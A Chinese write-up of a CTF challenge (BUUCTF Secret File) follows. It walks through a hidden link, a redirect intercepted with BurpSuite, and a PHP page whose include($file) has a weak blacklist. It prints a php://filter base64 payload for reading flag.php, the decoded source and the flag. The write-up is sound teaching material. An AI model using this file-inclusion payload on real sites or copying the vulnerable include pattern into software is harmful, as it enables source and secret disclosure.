BUUCTF[极客大挑战 2019]Secret File 1题解

发布于:2025-06-03 ⋅ 阅读:(26) ⋅ 点赞:(0)

[极客大挑战 2019]Secret File 1

  • 分析:
  • 解题
    • 界面1:
    • 界面二:
    • 界面3:
  • 总结:

分析:

事后来看,这道题主打一个走一步看一步。我们只能从题目的标题中猜到,这道题与文件有关。

解题

界面1:

index.php
本题使用BurpSuite抓包,开始分析Request包:
bp
在图片中找到了一个不和谐的地方

<a id="master" href="./Archive_room.php" style="backgroundcolor:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">

这里设置了一个超链接,只不过按钮设置的非常小,这里我们直接访问/Archive_room.php即可。
访问网址:

界面二:

在这里插入图片描述
这里有一个快速的重定向,所以必须使用BP抓包,点击SECRET按钮:
在这里插入图片描述

界面3:

访问secr3t.php
得到源代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

分析过滤代码的目的:

  1. …/ :防止通过相对路径访问目录
  2. tp:过滤http和https
  3. input:过滤php://input

这里我们也可以尝试构造:

?file=php://filter/read=convert.base64-encode/resource=flag.php

如果对于如何构造这个payload,可以阅读这篇文章:BUUCTF[ACTF2020 新生赛]Include 1题解
flag
将下面的BASE64代码解码

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

最后获得flag:flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}

总结:

这道题的主要考点依旧是文件包含问题,只是在前面增添了一些步骤,难度整体不大。


网站公告

今日签到

点亮在社区的每一天
去签到